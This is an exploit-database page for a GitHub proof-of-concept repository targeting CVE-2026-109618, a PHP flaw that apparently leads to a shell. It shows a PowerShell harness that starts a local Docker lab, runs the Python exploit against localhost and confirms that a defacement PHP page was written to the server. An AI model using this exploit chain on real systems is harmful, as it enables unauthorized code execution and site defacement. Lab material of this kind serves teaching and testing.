Exploit database

GH-02ebe0eb65c3ce6f9abcf8b2ecf6a506

sahmsec/cve-2026-109618-php2shell

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

412 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files13
sahmsec/cve-2026-109618-php2shellRevision 2e6cd4685c28

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

run-poc.ps1

Suggested starting filePowerShell · 2,206 bytes
param(
    [switch]$NoBrowser,
    [switch]$AutoRun
)

$ErrorActionPreference = 'Stop'
$lab = $PSScriptRoot
$url = 'http://127.0.0.1:8088/status.php'
Push-Location -LiteralPath $lab
try {
    docker compose up -d
    if ($LASTEXITCODE -ne 0) { throw 'Could not start the PHP lab container.' }

    docker exec php2shell-poc-target rm -f /u/p.php
    if ($LASTEXITCODE -ne 0) { throw 'Could not reset the proof page.' }

    $version = docker exec php2shell-poc-target php -r 'echo PHP_VERSION;'
    if ($LASTEXITCODE -ne 0 -or ($version -join '').Trim() -ne '8.4.26') {
        throw "Expected PHP 8.4.26, got $version"
    }

    $page = Invoke-WebRequest -UseBasicParsing -Uri 'http://127.0.0.1:8088/index.php'
    if ($page.StatusCode -ne 200 -or $page.Content -notmatch 'LANE & LADLE') {
        throw 'The local demo site did not respond.'
    }

    Write-Host 'SAHMSEC classroom lab'
    Write-Host "Target: PHP 8.4.26 at http://127.0.0.1:8088"
    Write-Host 'Open this live page and leave it visible:'
    Write-Host "  $url"
    if (-not $NoBrowser) { Start-Process -FilePath $url }
    if (-not $AutoRun) { [void](Read-Host 'Press Enter when you are ready to run the PoC') }

    $poc = Join-Path $lab 'sahmsec_poc.py'
    if (Get-Command py -ErrorAction SilentlyContinue) {
        & py -3 $poc --target 127.0.0.1
    }
    elseif (Get-Command python -ErrorAction SilentlyContinue) {
        & python $poc --target 127.0.0.1
    }
    else {
        throw 'Python 3 is required. Install it or add it to PATH.'
    }
    if ($LASTEXITCODE -ne 0) { throw 'The PoC did not create the PHP proof page.' }

    $status = Invoke-WebRequest -UseBasicParsing -Uri $url
    if (-not $status.Content.Contains('THIS SITE HAS BEEN ALTERED')) { throw 'The changed page did not appear after the status refresh.' }
    $createdPage = Invoke-WebRequest -UseBasicParsing -Uri 'http://127.0.0.1:8088/uploads/p.php'
    if ($createdPage.StatusCode -ne 200 -or -not $createdPage.Content.Contains('THIS SITE HAS BEEN ALTERED')) { throw 'The created PHP page did not render.' }
    Write-Host 'Live page proof: defacement-style page rendered at http://127.0.0.1:8088/uploads/p.php'
}
finally {
    Pop-Location
}